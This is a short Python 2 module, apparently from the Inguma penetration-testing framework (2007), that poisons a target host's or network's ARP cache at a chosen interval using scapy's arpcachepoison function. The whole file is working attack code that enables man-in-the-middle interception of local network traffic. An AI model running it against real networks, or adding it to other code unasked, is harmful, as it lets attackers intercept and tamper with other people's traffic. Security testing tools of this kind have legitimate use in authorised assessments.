#!/usr/bin/python
"""
Module ARP cache poison for Inguma
Copyright (c) 2007 Joxean Koret <joxeankoret@yahoo.es>

License is GPL
"""

try:
    from winscapy import get_if_addr, get_working_if, arpcachepoison, conf
    bHasScapy = True
except:
    bHasScapy = False

if bHasScapy == False:
    try:
        from scapy import get_if_addr, get_working_if, arpcachepoison, conf
        bHasScapy = True
    except:
        bHasScapy = False

from lib.core import getMacVendor
from lib.libexploit import CIngumaModule

name = "arppoison"
brief_description = "Poison target's ARP cache"
type = "gather"

globals = ["interval", ]

class CArpCachePoison(CIngumaModule):

    target = ""
    waitTime = 0
    timeout = 2
    wizard = False
    interval = 30
    dict = None
    address = ""

    def help(self):
        print "target = <target host or network>"
        print "interval = <interval>"

    def run(self):
        if self.target == "" or self.target.lower() == "localhost":
            print "[!] No target (or valid target) selected."
            return False

        conf.verb = 2
        self.address = get_if_addr(get_working_if())
        print "[+] Using %s" % self.address
        print "  --> Cache poisoning, interval %d" % self.interval
        print "Press Ctrl+C to cancel"
        arpcachepoison(self.address, self.target, self.interval)
        return True
    
    def printSummary(self):
        pass


